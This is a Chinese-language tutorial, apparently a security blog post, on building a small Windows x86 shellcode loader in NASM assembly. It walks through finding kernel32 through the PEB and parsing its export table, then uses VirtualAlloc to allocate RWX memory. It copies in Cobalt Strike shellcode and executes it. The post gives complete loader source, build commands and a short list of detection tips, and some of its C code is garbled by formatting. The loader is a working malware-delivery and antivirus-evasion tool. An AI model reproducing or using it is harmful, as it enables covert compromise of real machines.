一、环境准备
关于汇编ide,最开始笔者使用的是vs的内联汇编来调试。后面发现它非常的不方便,只能支持masm,而笔者要写是nasm。最后在github上找到了SASM。下载的时候选择SASMSetup.exe。
安装好后,要重新设置汇编器路径与链接器路径。nasm.exe和gcc.exe都在sasm路径下。
二、定位DLL基址
在汇编语言中,如果想调用Windows API,首先需要定位此函数所在的dll地址。既然编写shellcode加载器,那么我们这里直接定位`VirtualAlloc`。通过查询msdn,可知`VirtualAlloc`在`Kernel32.dll`中。定位流程如下:
1.通过FS寄存器取得PEB地址
2.取得 PEB_LDR_DATA 地址
3.取得 InInitializationOrderModuleList 地址
4.取得 kernel32.dll 的 Base Address
*关于PEB的相关知识,各位可移步参考文章:PEB结构:获取模块kernel32基址技术及原理分析https://bbs.pediy.com/thread-266678.htm
*左右滑动查看更多
下面的代码,通过遍历InInitializationOrderModuleList可直接看到dll的加载顺序:
#include <stdio.h>#include <stdlib.h>#include <Windows.h>定义peb结构://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html#l00063typedef struct _PEB_LDR_DATA{ULONG Length;BOOLEAN Initialized;HANDLE SsHandle;LIST_ENTRY InLoadOrderModuleList;LIST_ENTRY InMemoryOrderModuleList;LIST_ENTRY InInitializationOrderModuleList;PVOID EntryInProgress;BOOLEAN ShutdownInProgress;HANDLE ShutdownThreadId;* PPEB_LDR_DATA;://processhacker.sourceforge.io/doc/ntpebteb_8h_source.html#l00008typedef struct _PEB{BOOLEAN InheritedAddressSpace;BOOLEAN ReadImageFileExecOptions;BOOLEAN BeingDebugged;union{BOOLEAN BitField;struct{BOOLEAN ImageUsesLargePages : 1;BOOLEAN IsProtectedProcess : 1;BOOLEAN IsImageDynamicallyRelocated : 1;BOOLEAN SkipPatchingUser32Forwarders : 1;BOOLEAN IsPackagedProcess : 1;BOOLEAN IsAppContainer : 1;BOOLEAN IsProtectedProcessLight : 1;BOOLEAN SpareBits : 1;};};HANDLE Mutant;PVOID ImageBaseAddress;Ldr;//...PEB, * PPEB;typedef struct{USHORT Length;USHORT MaximumLength;PWCH Buffer;}UNICODE_STRING;://processhacker.sourceforge.io/doc/ntldr_8h_source.html#l00102typedef struct _LDR_DATA_TABLE_ENTRY{LIST_ENTRY InLoadOrderLinks;LIST_ENTRY InMemoryOrderLinks;union{LIST_ENTRY InInitializationOrderLinks;LIST_ENTRY InProgressLinks;};PVOID DllBase;PVOID EntryPoint;ULONG SizeOfImage;UNICODE_STRING FullDllName;UNICODE_STRING BaseDllName;//...* PLDR_DATA_TABLE_ENTRY;int main(){32位fs:[0x30]peb = (PEB*)__readfsdword(0x30);;ldr = peb->Ldr;头指针moduleList = &ldr->InInitializationOrderModuleList;头结点list = moduleList->Flink;PVOID hKernel32 = NULL;while (list != moduleList){pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)list - 2 * sizeof(LIST_ENTRY));pEntry->FullDllName.Buffer);list = list->Flink;}}
*左右滑动查看更多
可看到第一个dll是ntdll.dll,第二个是KERNELBASE.dll,第三个是KERNEL32.DLL:
定位kernel32.dll基址的汇编代码:
mov ebx, [fs:0x30] ; EBX = PEBmov ebx, [ebx + 0xc] ; EBX = PEB->ldrmov ebx, [ebx + 0x1C] ; EBX = PEB->ldr.InInitializationOrderModuleList = ntdll.dllmov ebx, [ebx] ; EBX = kernelbase.dllmov ebx, [ebx] ; EBX = kernel32.dllmov ebx, [ebx + 0x8] ; EBX = Base address
*左右滑动查看更多
解释一下上面的代码,[fs:0x30] 指向的就是PEB地址。
再通过VERGILIUS,查询PEB结构定义,得知PEB地址偏移0xc定位到PEB_LDR_DATA:
继续偏移0x1C,定位到InInitializationOrderModuleList,同时也定位到了ntdll.dll:
LIST_ENTRY是一个链表,再遍历链表成员的Flink两次,第一次[ebx]定位到kernelbase.dll,第二次[ebx]定位到kernel32.dll:
同时LIST_ENTRY又是LDR_DATA_TABLE_ENTRY结构的成员,而我们最开始是通过遍历InInitializationOrderLinks来获取信息的,所以此时真正的位置是在LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks=0x10,而0x18是dll的基址,0x18-0x10=0x8。这也是[ebx + 0x8]就能定位到dll基址的原因。
下个断点,进行调试,ebx=0x77300000,和下图获取到的kernel32.dll基址一样,说明代码没有问题。
三、定位函数地址
接下来就是解析PE,需要读者必须深入了解PE结构,才能看懂下面的代码和流程:
1.取得NT Header地址
2.取得 Export table 地址
3.取得 AddressOfNameOrdinals
4.取得目标函数地址
定位到导入表RVA:
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanewadd edx, ebx ; EDX = PE Headermov edx, [edx + 0x78] ; EDX = Offset export tableadd edx, ebx ; EDX = Export table
*左右滑动查看更多
导入表的RVA=edx=0x92240:
分析C:\Windows\SysWOW64\kernel32.dll的PE结构,可看到导出表的RVA一样是0x92240:
接下来先找到 GetProcAddress 函数地址:
mov esi, [edx + 0x20] ; ESI = Offset namestableadd esi, ebx ; ESI = Names tablexor ecx, ecx ; EXC = 0mov eax, ebxGet_Function:inc ecx ; Increment the ordinallodsd ; Get name offsetadd eax, ebx ; Get function namecmp dword [eax], 0x50746547 ; GetPjnz Get_Functioncmp dword [eax + 0x4], 0x41636f72 ; rocAjnz Get_Functioncmp dword [eax + 0x8], 0x65726464 ; ddrejnz Get_Functionmov esi, [edx + 0x24] ; ESI = Offset ordinalsadd esi, ebx ; ESI = Ordinals tablemov cx, [esi + ecx * 2] ; Number of functiondec ecxmov esi, [edx + 0x1c] ; Offset address tableadd esi, ebx ; ESI = Address tablemov edx, [esi + ecx * 4] ; EDX = Pointer(offset)add edx, ebx ; EDX = GetProcAddress
*左右滑动查看更多
GetProcAddress函数地址 = edx = 0x77315f20。
我们不直接定位`VirtualAlloc`,而是先获取到`GetProcAddress`的原因在于,后面就可以调用`GetProcAddress`来帮助我们找到想要的函数地址。
插句题外话,在导出表中可看到`GetProcAddress`RVA为0x15F20,而前面获取到的kernel32.dll基址=0x77300000。那么`GetProcAddress`的真正函数地址=0x15F20+0x77300000=0x77315F20。
`GetProcAddress`函数定义如下:
FARPROC GetProcAddress([in] HMODULE hModule,[in] LPCSTR lpProcName);
windows调用API传递参数都是从右向左传递,因此第一个要传递的参数是`lpProcName`,即函数名称。将字符串压入栈中,最后再压入esp寄存器,代表字符串传参完毕:
Get VirtualAlloc Addresspush 0push dword 0x636F6C6C ; llocpush dword 0x416C6175 ; ualApush dword 0x74726956 ; Virtpush esppush ebx ; Kernel32.DLL Base Addrcall edx ; GetProcAddress Addr
*左右滑动查看更多
当函数调用成功后,返回值存放在EAX寄存器,EAX=0x77315ED0:
四、执行shellcode
调用VirtualAlloc:
EAX = VirtualAlloc Addresspush 0x40 ; PAGE_EXECUTE_READWRITEpush 0x1000 ; MEM_COMMITpush 0x1000 ; shellcode sizepush 0 ; NULLcall eax ; VirtualAlloc Addr
*左右滑动查看更多
成功在0x20000开辟了RWX属性的空间:
定义一个数据段,来存放我们的shellcode,将cs生成的32位shellcode放到对应的位置:
section .datashellcode db 0xfc, 0xe8, 0x89 ; put shellcode herelen equ $ - shellcode ; Get shellcode Size
*左右滑动查看更多
将shellcode复制到我们申请的内存中去:
Copy Shellcode to Memorymov ecx, lenmov esi, shellcodemov edi, eaxcldrep movsb
shellcode成功复制了过去:
最后一步,`call eax`执行shellcode,上线cs:
五、完整代码
runshellcode.asm%include "io.inc"global CMAINsection .datashellcode db 0xfc, 0xe8, 0x89 ; put shellcode herelen equ $ - shellcode ; Get shellcode Sizesection .textCMAIN:mov ebx, [fs:0x30] ; EBX = PEBmov ebx, [ebx + 0xc] ; EBX = PEB->ldrmov ebx, [ebx + 0x1C] ; EBX = PEB->ldr.InInitializationOrderModuleList = ntdll.dllmov ebx, [ebx] ; EBX = kernelbase.dllmov ebx, [ebx] ; EBX = kernel32.dllmov ebx, [ebx + 0x8] ; EBX = Base addressmov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanewadd edx, ebx ; EDX = PE Headermov edx, [edx + 0x78] ; EDX = Offset export tableadd edx, ebx ; EDX = Export tablemov esi, [edx + 0x20] ; ESI = Offset namestableadd esi, ebx ; ESI = Names tablexor ecx, ecx ; EXC = 0mov eax, ebxGet_Function:inc ecx ; Increment the ordinallodsd ; Get name offsetadd eax, ebx ; Get function namecmp dword [eax], 0x50746547 ; GetPjnz Get_Functioncmp dword [eax + 0x4], 0x41636f72 ; rocAjnz Get_Functioncmp dword [eax + 0x8], 0x65726464 ; ddrejnz Get_Functionmov esi, [edx + 0x24] ; ESI = Offset ordinalsadd esi, ebx ; ESI = Ordinals tablemov cx, [esi + ecx * 2] ; Number of functiondec ecxmov esi, [edx + 0x1c] ; Offset address tableadd esi, ebx ; ESI = Address tablemov edx, [esi + ecx * 4] ; EDX = Pointer(offset)add edx, ebx ; EDX = GetProcAddressEDX = GetProcAddressEBX = Kernel32.DLL Base AddrGet VirtualAlloc Addresspush 0push dword 0x636F6C6C ; llocpush dword 0x416C6175 ; ualApush dword 0x74726956 ; Virtpush esppush ebx ; Kernel32.DLL Base Addrcall edx ; GetProcAddress AddrEAX = VirtualAlloc Addresspush 0x40 ; PAGE_EXECUTE_READWRITEpush 0x1000 ; MEM_COMMITpush 0x1000 ; shellcode sizepush 0 ; NULLcall eax ; VirtualAlloc AddrCopy Shellcode to Memorymov ecx, lenmov esi, shellcodemov edi, eaxcldrep movsbExec shellcodecall eaxret
*左右滑动查看更多
六、编译
如果使用SASM自带的gcc编译器,生成的exe会非常大:
而汇编语言生成的目标文件经过链接后的体积非常小,使用nasm汇编器进行汇编:
nasm -f win32 runshellcode.asm*左右滑动查看更多
生成Obj文件后,使用VS Link 链接器进行编译:
link.exe /OUT:"runshellcode.exe" /MACHINE:X86 /SUBSYSTEM:WINDOWS /NOLOGO /TLBID:1 /ENTRY:CMAIN .\runshellcode.obj小才是汇编的精髓,仅有3.5KB!
七、防范建议
防范建议:
观察程序体积,如果体积过小,很有可能是木马程序。
查看pe的数据表:一个exe如果没有导入表其实是非常奇怪的,而使用汇编做的木马,通常都没有导入表。
考虑针对CS本身的协议特征和攻击源威胁情报,及时更新基于流量、终端等检测手段。
对于社工类样本投递攻击,及时更新基于沙箱类安全产品的样本分析能力,并多做人员安全意识培训。
对于任何有网络请求的可执行文件都应该保持警惕,特别是在攻防演练期间。
推荐阅读及参考文章:
PEB结构:获取模块kernel32基址技术及原理分析https://bbs.pediy.com/thread-266678.htm欢迎来到实力至上主义的 Shellcode (上) - Windows x86 Shellcodehttps://ithelp.ithome.com.tw/articles/10269530欢迎来到实力至上主义的 Shellcode (下) - Windows x86 Shellcodehttps://ithelp.ithome.com.tw/articles/10270253静态恶意代码逃逸(第十一课)- 汇编语言编写Shellcode加载器https://payloads.online/archivers/2022-02-16/1/
*左右滑动查看更多
— 往期回顾 —